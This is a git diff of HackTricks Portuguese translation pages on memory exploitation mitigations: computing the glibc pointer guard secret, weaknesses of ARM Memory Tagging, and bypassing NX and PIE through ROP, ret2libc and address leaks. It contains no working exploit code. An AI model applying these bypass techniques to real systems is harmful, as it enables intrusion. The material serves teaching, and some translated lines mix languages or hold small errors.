* **Calculando o Segredo:** Usando um ponteiro de função conhecido, como `__pthread_attr_destroy`, e sua versão misturada da tabela de ponteiros de função, o segredo pode ser calculado girando para trás (rotação à direita) o ponteiro misturado e, em seguida, XORando-o com o endereço da função.
|
||||||
4. **Textos Alternativos:** O atacante também pode experimentar embaralhar ponteiros com valores conhecidos como 0 ou -1 para ver se produzem padrões identificáveis na memória, potencialmente revelando o segredo quando esses padrões são encontrados em despejos de memória.
|
4. **Textos Alternativos:** O atacante também pode experimentar misturar ponteiros com valores conhecidos, como 0 ou -1, para ver se esses produzem padrões identificáveis na memória, potencialmente revelando o segredo quando esses padrões são encontrados em dumps de memória.
|
||||||
5. **Aplicação Prática:** Após calcular o segredo, um atacante pode manipular ponteiros de forma controlada, essencialmente burlando a proteção do Ponteiro Guard em um aplicativo multithread com conhecimento do endereço base do libc e capacidade de ler locais de memória arbitrários.
|
5. **Aplicação Prática:** Após calcular o segredo, um atacante pode manipular ponteiros de maneira controlada, essencialmente contornando a proteção da Guarda de Ponteiro em uma aplicação multithreaded com conhecimento do endereço base da libc e a capacidade de ler locais de memória arbitrários.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
|
* [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
|
||||||
* [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
|
* [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,93 +1,108 @@
|
||||||
# Extensão de Marcação de Memória (MTE)
|
# Memory Tagging Extension (MTE)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
A **Extensão de Marcação de Memória (MTE)** é projetada para aprimorar a confiabilidade e segurança do software ao **detectar e prevenir erros relacionados à memória**, como estouros de buffer e vulnerabilidades de uso após liberação. O MTE, como parte da arquitetura **ARM**, fornece um mecanismo para anexar uma **pequena tag a cada alocação de memória** e uma **tag correspondente a cada ponteiro** que referencia essa memória. Esse método permite a detecção de acessos ilegais à memória em tempo de execução, reduzindo significativamente o risco de explorar tais vulnerabilidades para executar código arbitrário.
|
**Memory Tagging Extension (MTE)** é projetado para aumentar a confiabilidade e segurança do software, **detectando e prevenindo erros relacionados à memória**, como estouros de buffer e vulnerabilidades de uso após a liberação. O MTE, como parte da arquitetura **ARM**, fornece um mecanismo para anexar um **pequeno rótulo a cada alocação de memória** e um **rótulo correspondente a cada ponteiro** que referencia essa memória. Essa abordagem permite a detecção de acessos ilegais à memória em tempo de execução, reduzindo significativamente o risco de explorar tais vulnerabilidades para executar código arbitrário.
|
||||||
|
|
||||||
### **Como a Extensão de Marcação de Memória Funciona**
|
### **How Memory Tagging Extension Works**
|
||||||
|
|
||||||
O MTE opera dividindo a memória em blocos pequenos de tamanho fixo, com cada bloco atribuído a uma tag, geralmente de alguns bits de tamanho. 
|
O MTE opera **dividindo a memória em pequenos blocos de tamanho fixo, com cada bloco atribuído a um rótulo,** tipicamente de alguns bits de tamanho. 
|
||||||
|
|
||||||
Quando um ponteiro é criado para apontar para essa memória, ele recebe a mesma tag. Essa tag é armazenada nos **bits não utilizados de um ponteiro de memória**, vinculando efetivamente o ponteiro ao seu bloco de memória correspondente.
|
Quando um ponteiro é criado para apontar para essa memória, ele recebe o mesmo rótulo. Esse rótulo é armazenado nos **bits não utilizados de um ponteiro de memória**, vinculando efetivamente o ponteiro ao seu bloco de memória correspondente.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||||
|
|
||||||
Quando um programa acessa a memória por meio de um ponteiro, o hardware MTE verifica se a **tag do ponteiro corresponde à tag do bloco de memória**. Se as tags **não corresponderem**, isso indica um **acesso ilegal à memória**.
|
Quando um programa acessa a memória através de um ponteiro, o hardware MTE verifica se o **rótulo do ponteiro corresponde ao rótulo do bloco de memória**. Se os rótulos **não corresponderem**, isso indica um **acesso ilegal à memória.**
|
||||||
|
|
||||||
### Tags de Ponteiro MTE
|
### MTE Pointer Tags
|
||||||
|
|
||||||
As tags dentro de um ponteiro são armazenadas em 4 bits dentro do byte superior:
|
Os rótulos dentro de um ponteiro são armazenados em 4 bits dentro do byte superior:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||||
|
|
||||||
Portanto, isso permite até **16 valores de tag diferentes**.
|
Portanto, isso permite até **16 valores de rótulo diferentes**.
|
||||||
|
|
||||||
### Tags de Memória MTE
|
### MTE Memory Tags
|
||||||
|
|
||||||
Cada **16B de memória física** tem uma **tag de memória correspondente**.
|
Cada **16B de memória física** tem um **rótulo de memória** correspondente.
|
||||||
|
|
||||||
As tags de memória são armazenadas em uma **região de RAM dedicada** (não acessível para uso normal). Com tags de 4 bits para cada 16B de tags de memória, até 3% da RAM.
|
Os rótulos de memória são armazenados em uma **região de RAM dedicada** (não acessível para uso normal). Tendo rótulos de 4 bits para cada 16B de rótulos de memória, até 3% da RAM.
|
||||||
|
|
||||||
A ARM introduz as seguintes instruções para manipular essas tags na memória RAM dedicada:
|
A ARM introduz as seguintes instruções para manipular esses rótulos na memória RAM dedicada:
|
||||||
```
|
```
|
||||||
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
|
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
|
||||||
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
|
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
|
||||||
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
|
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
## Modos de Verificação
|
## Checking Modes
|
||||||
|
|
||||||
### Síncrono
|
### Sync
|
||||||
|
|
||||||
A CPU verifica as tags **durante a execução da instrução**, se houver uma diferença, ela gera uma exceção.\
|
A CPU verifica as tags **durante a execução da instrução**, se houver uma incompatibilidade, ela gera uma exceção.\
|
||||||
Este é o mais lento e mais seguro.
|
Este é o mais lento e mais seguro.
|
||||||
|
|
||||||
### Assíncrono
|
### Async
|
||||||
|
|
||||||
A CPU verifica as tags **de forma assíncrona**, e quando encontra uma diferença, define um bit de exceção em um dos registradores do sistema. É **mais rápido** que o anterior, mas é **incapaz de apontar** a instrução exata que causou a diferença e não gera a exceção imediatamente, dando tempo ao atacante para concluir seu ataque.
|
A CPU verifica as tags **assíncronamente**, e quando uma incompatibilidade é encontrada, ela define um bit de exceção em um dos registradores do sistema. É **mais rápido** do que o anterior, mas é **incapaz de apontar** a instrução exata que causou a incompatibilidade e não gera a exceção imediatamente, dando algum tempo ao atacante para completar seu ataque.
|
||||||
|
|
||||||
### Misto
|
### Mixed
|
||||||
|
|
||||||
???
|
???
|
||||||
|
|
||||||
## Exemplos de Implementação e Detecção
|
## Implementation & Detection Examples
|
||||||
|
|
||||||
Chamado de KASAN baseado em Tags de Hardware, KASAN baseado em MTE ou MTE no kernel.\
|
Chamado de KASAN baseado em tags de hardware, KASAN baseado em MTE ou MTE em kernel.\
|
||||||
Os alocadores do kernel (como `kmalloc`) irão **chamar este módulo** que irá preparar a tag a ser usada (aleatoriamente), anexá-la ao espaço do kernel alocado e ao ponteiro retornado.
|
Os alocadores do kernel (como `kmalloc`) **chamarão este módulo** que preparará a tag para usar (aleatoriamente) anexá-la ao espaço do kernel alocado e ao ponteiro retornado.
|
||||||
|
|
||||||
Observe que ele irá **marcar apenas grânulos de memória suficientes** (16B cada) para o tamanho solicitado. Portanto, se o tamanho solicitado foi 35 e um bloco de 60B foi dado, ele marcará os primeiros 16\*3 = 48B com esta tag e o **restante** será **marcado** com uma chamada **tag inválida (0xE)**.
|
Note que ele **marcará apenas grânulos de memória suficientes** (16B cada) para o tamanho solicitado. Portanto, se o tamanho solicitado foi 35 e um bloco de 60B foi dado, ele marcará os primeiros 16\*3 = 48B com esta tag e o **restante** será **marcado** com uma chamada de **tag inválida (0xE)**.
|
||||||
|
|
||||||
A tag **0xF** é o **combinar todos os ponteiros**. Uma memória com este ponteiro permite que **qualquer tag seja usada** para acessar sua memória (sem diferenças). Isso poderia impedir que o MET detectasse um ataque se essa tag estiver sendo usada na memória atacada.
|
A tag **0xF** é o **ponteiro que combina com todos**. Uma memória com este ponteiro permite que **qualquer tag seja usada** para acessar sua memória (sem incompatibilidades). Isso poderia impedir que o MET detectasse um ataque se essas tags estiverem sendo usadas na memória atacada.
|
||||||
|
|
||||||
Portanto, existem apenas **14 valores** que podem ser usados para gerar tags, pois 0xE e 0xF são reservados, dando uma probabilidade de **reutilização de tags** de 1/17 -> cerca de **7%**.
|
Portanto, existem apenas **14 valores** que podem ser usados para gerar tags, pois 0xE e 0xF são reservados, dando uma probabilidade de **reutilização de tags** de 1/17 -> cerca de **7%**.
|
||||||
|
|
||||||
Se o kernel acessar o **grânulo de tag inválido**, a **diferença** será **detectada**. Se acessar outra localização de memória, se a **memória tiver uma tag diferente** (ou a tag inválida), a diferença será **detectada**. Se o atacante tiver sorte e a memória estiver usando a mesma tag, não será detectado. As chances são de cerca de 7%.
|
Se o kernel acessar o **grânulo de tag inválida**, a **incompatibilidade** será **detectada**. Se acessar outro local de memória, se a **memória tiver uma tag diferente** (ou a tag inválida), a incompatibilidade será **detectada**. Se o atacante tiver sorte e a memória estiver usando a mesma tag, não será detectada. As chances são de cerca de 7%.
|
||||||
|
|
||||||
Outro bug ocorre no **último grânulo** da memória alocada. Se a aplicação solicitou 35B, foi dado o grânulo de 32 a 48. Portanto, os **bytes de 36 a 47 estão usando a mesma tag** mas não foram solicitados. Se o atacante acessar **esses bytes extras, isso não será detectado**.
|
Outro bug ocorre no **último grânulo** da memória alocada. Se a aplicação solicitou 35B, foi dado o grânulo de 32 a 48. Portanto, os **bytes de 36 a 47 estão usando a mesma tag** mas não foram solicitados. Se o atacante acessar **esses bytes extras, isso não é detectado**.
|
||||||
|
|
||||||
Quando o **`kfree()`** é executado, a memória é retageada com a tag de memória inválida, então em um **uso após liberação**, quando a memória é acessada novamente, a **diferença é detectada**.
|
Quando **`kfree()`** é executado, a memória é retagged com a tag de memória inválida, então em um **use-after-free**, quando a memória é acessada novamente, a **incompatibilidade é detectada**.
|
||||||
|
|
||||||
No entanto, em um uso após liberação, se o mesmo **bloco for realocado novamente com a MESMA tag** como anteriormente, um atacante poderá usar esse acesso e isso não será detectado (cerca de 7% de chance).
|
No entanto, em um use-after-free, se o mesmo **chunk for realocado novamente com a MESMA tag** que anteriormente, um atacante poderá usar esse acesso e isso não será detectado (cerca de 7% de chance).
|
||||||
|
|
||||||
Além disso, apenas **`slab` e `page_alloc`** usam memória marcada, mas no futuro isso também será usado em `vmalloc`, `stack` e `globals` (no momento do vídeo, esses ainda podem ser abusados).
|
Além disso, apenas **`slab` e `page_alloc`** usam memória marcada, mas no futuro isso também será usado em `vmalloc`, `stack` e `globals` (no momento do vídeo, esses ainda podem ser abusados).
|
||||||
|
|
||||||
Quando uma **diferença é detectada**, o kernel irá **entrar em pânico** para evitar futuras explorações e tentativas do exploit (MTE não tem falsos positivos).
|
Quando uma **incompatibilidade é detectada**, o kernel irá **panic** para evitar mais exploração e tentativas do exploit (MTE não tem falsos positivos).
|
||||||
|
|
||||||
## Referências
|
## References
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q)
|
* [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -6,22 +6,22 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
O bit **No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **estouro de buffer**. Quando implementado e ativado, ele distingue entre regiões de memória destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia principal é evitar que um atacante execute código malicioso por meio de vulnerabilidades de estouro de buffer, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
|
O **bit No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e ativado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
|
||||||
|
|
||||||
## Bypasses
|
## Bypasses
|
||||||
|
|
||||||
* É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando trechos de código executável já presentes no binário.
|
* É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando pedaços de código executável já presentes no binário.
|
||||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||||
* **Ret2...**
|
* **Ret2...**
|
||||||
|
@ -32,11 +32,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,58 +1,58 @@
|
||||||
# PIE
|
# PIE
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Um binário compilado como PIE, ou **Executable de Posição Independente**, significa que o **programa pode carregar em diferentes locais de memória** cada vez que é executado, impedindo endereços codificados.
|
Um binário compilado como PIE, ou **Executável Independente de Posição**, significa que o **programa pode ser carregado em diferentes locais de memória** cada vez que é executado, prevenindo endereços codificados.
|
||||||
|
|
||||||
O truque para explorar esses binários está em explorar os **endereços relativos** — os deslocamentos entre partes do programa permanecem os mesmos mesmo se as localizações absolutas mudarem. Para **burlar o PIE, você só precisa vazar um endereço**, normalmente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tem um endereço, você pode calcular outros pelos seus **deslocamentos fixos**.
|
O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**.
|
||||||
|
|
||||||
Uma dica útil na exploração de binários PIE é que o **endereço base geralmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser um **verificador crítico se um exploit não estiver funcionando** como esperado, indicando se o endereço base correto foi identificado.\
|
Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
|
||||||
Ou você pode usar isso para o seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e localizações.
|
Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais.
|
||||||
|
|
||||||
## Bypasses
|
## Bypasses
|
||||||
|
|
||||||
Para burlar o PIE é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
|
Para contornar o PIE, é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
|
||||||
|
|
||||||
* **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto o **PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
|
* **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
|
||||||
* Ser **dado** o vazamento (comum em desafios CTF fáceis, [**verifique este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
* Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||||
* **Forçar os valores de EBP e EIP** na pilha até vazar os corretos:
|
* **Forçar valores de EBP e EIP** na pilha até que você vaze os corretos:
|
||||||
|
|
||||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* Use uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
* Usar uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
